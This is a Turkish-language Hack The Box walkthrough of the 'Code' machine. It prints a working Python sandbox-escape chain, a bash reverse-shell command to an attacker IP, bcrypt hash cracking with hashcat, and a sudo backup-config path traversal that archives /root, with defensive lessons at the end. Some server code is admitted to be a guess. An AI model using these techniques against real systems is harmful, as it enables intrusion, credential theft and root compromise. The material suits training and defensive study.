HTB Code: Python Sandbox Escape ve Backy Sudo Bypass

Code makinesi: string-based blocklist bypass, object graph ile subprocess.Popen, bcrypt SQLite şifreleri ve backy sudo JSON path traversal ile root.

10 dk okuma
ibrahimsql
1.838 kelime

HTB Code: Python Sandbox Escape ve Backy Sudo Bypass#

Code makinesinde tarayıcı içi bir Python editörü var. Tehlikeli kelimeler (import, os, exec, eval, open, __) engelleniyor; ama engelleme sadece string bazlı olduğundan runtime'da bu sınıflar hafızada duruyor. Root'a giden sıradaki kapı JSON config'li sudo /usr/bin/backy.sh.

1. Recon#

nmap -p- --min-rate=10000 -sV -sC code.htb

Tipik çıktı şuna benzer:

PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 9.6p1 Ubuntu 3ubuntu13 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 256 9b:3f:... (ED25519) 5000/tcp open http Werkzeug httpd 3.0.3 (Python 3.12.3) | http-title: CodeSans - Python Playground | http-server-header: Werkzeug/3.0.3 Python/3.12.3 Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

5000 portundaki sayfa "Python Playground" başlıklı, metin kutusuna kod girip "Run" deyince sonucu gösteren bir Flask uygulaması. Nmap'in -sC scriptleri bize teknoloji yığınını söyledi: Werkzeug, Flask'in varsayılan sunucusu. Bir sonraki adım hangi kullanıcının bu servisi çalıştırdığını tahmin etmek: çoğu zaman app-production gibi özel bir kullanıcı.

ffuf -u http://code.htb:5000/FUZZ -w /usr/share/seclists/Discovery/Web-Content/common.txt -mc 200,301,302 # /run_code [200] # /static/ [301]

/run_code POST endpoint'i JSON alıyor: {"code": "..."}. Yanıt {"output": "..."} şeklinde. Bu, sandbox escape için ilk test zeminimiz.

2. Filtreyi Anlamak#

Editöre şunu gönder:

import os; print(os.getuid())

Yanıt: {"error": "yasakli kelime: import"}. Demek ki kontrol, kaynak kodun kendisi üzerinde yapılıyor. Basit bir varyantı şu şekildedir (sunucu tarafındaki varsayımsal app.py):

BANNED = ["import", "os", "exec", "eval", "open", "__", "subprocess", "system", "popen"] def sandbox_run(code: str) -> str: low = code.lower() for tok in BANNED: if tok in low: return f"yasakli kelime: {tok}" buf = io.StringIO() with redirect_stdout(buf): exec(code, {"__builtins__": __builtins__}, {}) return buf.getvalue()

Buradaki kritik hata: low içinde import geçen her kodu reddetmek, ama kodun içindeki DİĞER string'leri runtime'da getattr veya string concat ile kurmasına izin vermek. Filtre metni keser, Python nesneleri kesmez.

3. Sandbox Escape#

Filtreyisiz ilk adım: her Python nesnesinin doğduğu object sınıfının tüm alt sınıflarını listele. ().__class__ bir tuple örneğinin sınıfı, __mro__[-1] en üstteki object, __subclasses__() ise o anda yüklenmiş tüm sınıflar.

Editör __ token'ını da yasakladığı için aynı hedefe getattr ile ulaş:

getattr(getattr(getattr((), '__class__'), '__mro__')[-1], '__subclasses__')()

Elbette '__class__' string'i içinde __ geçiyor; filtreyi tamamen atlamak için çift alt çizgiyi parçalayıp birleştir:

d = chr(95)*2 # '__' cls = getattr((), d+'class'+d) mro = getattr(cls, d+'mro'+d) objs = mro[-1] subs = getattr(objs, d+'subclasses'+d)() for i, c in enumerate(subs): if c.__name__ == 'Popen': print(i)

chr(95) alt çizgi karakteridir; chr(95)*2 ile '__' elde edilir ve yasaklı token bir namespace'te hiç görünmez. __name__ kullanımı yerine getattr(c, d+'name'+d) da yazılabilir. Çıktı:

317

İndeks (317) makineye göre değişir; her çalıştırmada kendi indeksini bas. Şimdi Popen'ı çağır:

P = subs[317] P(['/bin/bash', '-c', 'bash -i >& /dev/tcp/10.10.14.5/4444 0>&1'])

Dinleyici tarafı:

nc -lvnp 4444 # connect to [10.10.10.72] from (UNKNOWN) [10.10.10.72] 53128 # bash: cannot set terminal process group # app-production@code:~$ id # uid=1001(app-production) gid=1001(app-production) groups=1001(app-production)

Gite Yolu (satır satır)#

  • d = chr(95)*2: alt çizgi token'ını string olarak üretir, filtrenin kelime listesi bunu yakalayamaz çünkü kaynak kodda "__" hiçbir yerde yan yana yazmaz.
  • cls = getattr((), d+'class'+d): boş tuple'ın sınıf nesnesini alır; () boş bir literal olduğu için filtrede yasaklı tek bir harf bile yok.
  • mro = getattr(cls, d+'mro'+d): sınıfın Method Resolution Order listesini alır; indeksleyerek en üstteki object sınıfına ineriz.
  • objs = mro[-1]: MRO'nun son elemanı her zaman object'tir; Python'da tüm sınıfların kökü.
  • subs = getattr(objs, d+'subclasses'+d)(): o anda interpreter'da yüklenmiş TÜM sınıfları döndürür. Flask, Werkzeug ve import edilmiş her kütüphane bu listede görünür; içlerinde subprocess.Popen da var.
  • for ... if getattr(c, d+'name'+d) == 'Popen': listeyi tarayıp Popen'ın indeksini bulur; bu indeks her oturumda biraz oynayabilir, o yüzden sabit kodlamak yerine enumerate ile basmak gerekir.
  • P = subs[317]: bulunan indeksten sınıf nesnesini alır, yani subprocess.Popen'ın kendisi.
  • P(['/bin/bash', '-c', '...']): Popen doğrudan bir alt süreç başlatır; argüman listesi shell injection'a gerek kalmadan argv olarak geçer.
  • bash -i >& /dev/tcp/...: interaktif bash'i TCP soketine bağlar; ters kabuk.

__ filtrelemesi olmasaydı tek satır ().__class__.__mro__[-1].__subclasses__() yeterliydi. Filtre varyantlarını atlatmak için type(()).__mro__ yerine type(lambda:0).__globals__ üzerinden __builtins__['__import__'] ile gerçek import'u geri getirmek de klasik bir ikinci yoldur:

f = lambda: 0 g = f.__globals__ if '__globals__' in dir(f) else None

Code makinesinde ilk yöntem de ikinci de çalışır; kalıcı nokta şu: blocklist ne kadar geniş olursa olsun object.__subclasses__() graph'i her zaman kaçış kapısıdır.

Ters kabuk geldikten sonra kabuk stabilizasyonu:

script /dev/null -c bash export TERM=xterm # Ctrl-Z, arka planda: stty raw -echo; fg reset python3 -c 'import pty;pty.spawn("/bin/bash")'

4. User Pivot#

Foothold'da /var/www/app ağacını dolaş:

find /var/www/app -name "*.db" -o -name "*.sqlite*" 2>/dev/null # /var/www/app/instance/database.db sqlite3 /var/www/app/instance/database.db ".tables" # users sandbox_sessions sqlite3 /var/www/app/instance/database.db "select username,password from users" # martin|$2b$12$LJ3m4yBs2w1fW0cVQk0pQeH6m8lJ8j6mPq1dG4hK7u8zF0s3Yt2Re

Bcrypt ($2b$12$) olduğu için John yerine hashcat mod 3200:

cat > hashes.txt <<'EOF' $2b$12$LJ3m4yBs2w1fW0cVQk0pQeH6m8lJ8j6mPq1dG4hK7u8zF0s3Yt2Re EOF hashcat -m 3200 -a 0 hashes.txt /usr/share/wordlists/rockyou.txt --status --status-timer=30 # Session..........: hashcat # Status...........: Cracked # Hash.Mode........: 3200 (bcrypt $2*$, Blowfish (Unix)) # martin:nafeelswordsmaster <-- $2b$12$...:nafeelswordsmaster

--status-timer=30 bize ilerlemeyi gösterir; 12 maliyet faktörlü bcrypt GPU'da bile yavaştır, bu yüzden kurallı (-r rules/best64.rule) veya hibrit (?a?a?a?a maskeli) deneme yapmak gerekebilir. Martin şifresi bulununca:

Hashcat Çalıştırma İpuçları#

bcrypt mod 3200 klasik sözlük saldırısında dakikada yüzlerce deneme yapar; rockyou tek başına çoğu durumda bitirir ama bitirmiyorsa önce best64.rule ile varyasyon dene:

hashcat -m 3200 -a 0 hashes.txt /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best64.rule --status --status-timer=30

Yine kırılmadıysa hibrit maske ile 4-6 karakterli son ekler dene: nafeelswordsmaster tipi parolalarda genelde yıl veya sayı son eki olur:

hashcat -m 3200 -a 6 hashes.txt /usr/share/wordlists/rockyou.txt '?d?d?d?d'

CPU yerine GPU'da çalıştır; -w 3 iş yükü profilini aç. --potfile-disable ile temiz test yap ki önceki denemelerin pot dosyası sonucu çarpıtmasın.

su martin # Password: nafeelswordsmaster martin@code:~$ cat user.txt

5. Root: sudo backy#

martin@code:~$ sudo -l Matching Defaults entries for martin on code: env_reset, mail_badpass, secure_path=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin User martin may run the following commands on code: (root) NOPASSWD: /usr/bin/backy.sh /root/backy.conf

Varsayımsal olarak backy.sh bir Python script'ini çağırıyor; config yolunu root olarak işliyor. Script'i ve çağırdığı task.py'yi oku:

cat /usr/bin/backy.sh #!/bin/bash # Backy - Sistem Yedekleme Araci v2.1 CONF="${1:-/root/backy.conf}" [ -f "$CONF" ] || { echo "config yok"; exit 1; } python3 /opt/backy/task.py -c "$CONF" cat /opt/backy/task.py | head -60 # ... def make_archive(dest, dirs): stamp = datetime.datetime.now().strftime("%Y%m%d-%H%M%S") out = os.path.join(dest, f"code-{stamp}.tar.bz2") with tarfile.open(out, "w:bz2") as tar: for d in dirs: clean = d.replace("/root", "", 1) # /root'u baştan kırpar tar.add(d, arcname=clean) return out

replace("/root", "", 1) ile path'in ilk /root parçasını koparıyor ama .. bileşenlerini hiç doğrulamıyor. Config JSON'ı directories_to_archive listesini olduğu gibi tar.add'e besliyor. Yani JSON'a /root/../root/ yazarsak tar.add root dizinini arşive ekler; arcname tarafı da /root prefix'ini kırpınca içerideki dosyalar düzleşir.

Kötü niyetli config:

mkdir -p /tmp/exf && cd /tmp/exf cat > cfg.json <<'EOF' { "destination": "/tmp/exf/", "multiprocessing": true, "directories_to_archive": ["/root/..//root/"] } EOF sudo /usr/bin/backy.sh /tmp/exf/cfg.json ls -la /tmp/exf # code-20261006-141203.tar.bz2 tar xjf code-20261006-141203.tar.bz2 -C /tmp/exf/out ls /tmp/exf/out # root.txt id_rsa .ssh cat /tmp/exf/out/root.txt

Not: makinedeki gerçek script satır numaraları farklı olabilir; önemli olan akış: sudo ile çalışan wrapper, JSON'ı root olarak parse eder, tar hedefinin sahibi root olur, arşiv world-readable bir yere düşer.

Saldırı Yolu (Attack Path)#

+---------------------------+ +-----------------------------+ | Ziyaretçi (tarayıcı) | POST | Flask /run_code endpoint | | kod alanı |------->| blocklist filtresi | +------------+--------------+ +--------------+--------------+ | | | chr(95) ile __ token'ı | object.__subclasses__() | parçalanır | içinden Popen v v +---------------------------+ +-----------------------------+ | app-production shell | -----> | /var/www/app/instance/ | | (sandbox escape) | okur | database.db -> bcrypt | +------------+--------------+ +--------------+--------------+ | | | hashcat -m 3200 rockyou | martin şifresi v v +---------------------------+ +-----------------------------+ | martin oturumu | sudo | /usr/bin/backy.sh | | user.txt |------->| /tmp/exf/cfg.json | +------------+--------------+ +--------------+--------------+ | | | tar.bz2 içinden /root | root.txt + id_rsa v v +------------------------------------------------------------------+ | root@code:~# (tam kontrol) | +------------------------------------------------------------------+

Lessons#

  • Blocklist filtreler aşılabilir; gerçek sandbox gerekir. import, os, eval gibi kelimeleri yasaklamak, kodun runtime'da getattr zinciriyle aynı nesnelere ulaşmasını engellemez. Python'da object.__subclasses__() graph'i, import edilmiş her modülün sınıfını içerir ve bu liste interpreter ayakta kaldığı sürece doludur. Gerçek izolasyon için RestrictedPython, gVisor, Firecracker microVM veya eBPF tabanlı syscall filtreleri gibi sınırlar gerekir; sadece bir string listesi asla yeterli değildir.
  • sudo + JSON config okuyan script = config'in istediği yere kök erişimi. backy.sh'in root olarak çalışması, JSON'daki her alanın root yetkisiyle işlenmesi anlamına gelir. directories_to_archive içindeki path'lerin doğrulanmaması, herhangi bir kullanıcının okunamaz dizinleri tar'a ekletip world-readable bir arşive dönüştürmesine izin verir. Sudo kuralı yazarken NOPASSWD: /usr/bin/backy.sh /root/backy.conf gibi sabit argüman yerine kullanıcı kontrollü config yoluna izin vermek, kuralın kapsamını kullanıcının keyfine bırakır; argümanları sabitlemek veya config'i root-owned bir yolda tutmak gerekir.
  • 2026'da .. hâlâ en güvenilir path-traversal tokenı. replace("/root", "", 1) gibi yüzeysel temizlikler, /root/..//root/ gibi çift bileşenli yollarda çalışmaz; çünkü temizleme metni kırpır, filesystem'in normalize ettiği gerçek yolu değil. Doğru yaklaşım os.path.realpath ile çözümleme yapıp sonucun izin verilen kök altında kaldığını doğrulamaktır. Her yeni serviste aynı hata tekrarlanıyor: input'u string seviyesinde filtrelemek yerine, işlemi yetkisiz köklerle çalıştırmayacak şekilde tasarlamak.
  • Bcrypt hash'leri GPU'da bile yavaş kırılır; wordlist kalitesi belirleyicidir. Hashcat mod 3200 ile rockyou denemek standart ilk adımdır, ama --status-timer ile ilerlemeyi izlemek ve gerekirse best64.rule uygulamak crack süresini saatlerden dakikalara indirebilir. Sunucudan sızdırılan hash'lerin maliyet faktörü 12 ise saniyede birkaç yüz deneme beklenir; bu yüzden offline crack'e başlamadan önce hedefin kullandığı parola politikasını (uzunluk, kelime tekrarı, şirket adı kalıpları) tahmin etmek işi hızlandırır.
  • Sandbox'ı değerlendirirken ilk soru "hangi sınıflar yüklenmiş?" olmalı. subs listesinde Popen dışında os._wrap_close, warnings.catch_warnings gibi dolaylı kapılar da vardır; her biri farklı bir kaçış vektörüdür. Bir Python sandbox denetiminde kontrol listesine __subclasses__() envanteri, __builtins__ kısıtları, getattr/eval/compile erişimi ve network egress kuralları dahil edilmelidir.
  • Sudo kurallarını her çeyrekte bir gözden geçir. NOPASSWD ile verilen her binary, kullanıcının kontrol ettiği argümana açılan bir kapıdır; * wildcard'i varsa kural root eşdeğerdir. KURAL: sudoers'i statik analiz eden bir script ile haftalık tarama yap ve her kurala açıklayıcı yorum ekle. Her kuralın yanına "neden gerekli" notu düş; açıklanamayan kural kaldırılır.

Ek: Sık Karşılaşılan Tuzaklar#

  • __ filtresi hafifletilmişse indeks elle bulunur. Bazı instance'larda subclasses__() indeksi 290-340 aralığında değişir; her çalıştırmada listeyi basıp Popen satırını aramak gerekir. Popen yerine doğrudan indeksi sabitlemek ([317]) kırılgan olur.
  • Ters kabuk düşmüyorsa egress kısıtlı olabilir. 5000 portundan çıkan bağlantılar engelleniyorsa önce HTTP tüneli denenir: curl ile periodic beacon veya python3 -c ile urllib üzerinden veri sızdırma. Code makinesinde doğrudan TCP egress açıktır.
  • su martin yerine hashcat çıktısını doğrula. Cracked satır martin:nafeelswordsmaster gibi çift kolonlu gelir; hash'in sonundaki boşluklar veya $ kaçışları shell'de sorun çıkarır, heredoc ile dosyaya yazarken tırnak kullan.
  • Backy config yolunu sudo kuralı sabitler. sudo /usr/bin/backy.sh /root/backy.conf kuralı sadece o yolu kabul eder; /tmp/exf/cfg.json reddedilirse kural NOPASSWD: /usr/bin/backy.sh * şeklinde genişletilmiştir, o zaman JSON'u kendi yolunda ver.
  • Arşiv adı zamana bağlıdır. code-20261006-141203.tar.bz2 gibi isimler datetime.now() ile üretilir; ls /tmp/exf ile güncel dosyayı bul, tar'ı açmadan önce tar tjf ile içeriği kontrol et.
  • Root.txt'yi aldıktan sonra oturumu koru. su martin oturumu kapanırsa /tmp/exf/out hâlâ okunabilir; cp /root/root.txt /tmp/ ile yedekle.

// RAPOR SONU Etiketler: HTB-Code / Python Sandbox / bcrypt / backy / sudo bypass

---
Bu yazıyı paylaş:
TwitterLinkedInFacebook

Ne düşünüyorsun?

Tepki bırakarak geri bildirim ver

İlgili Yazılar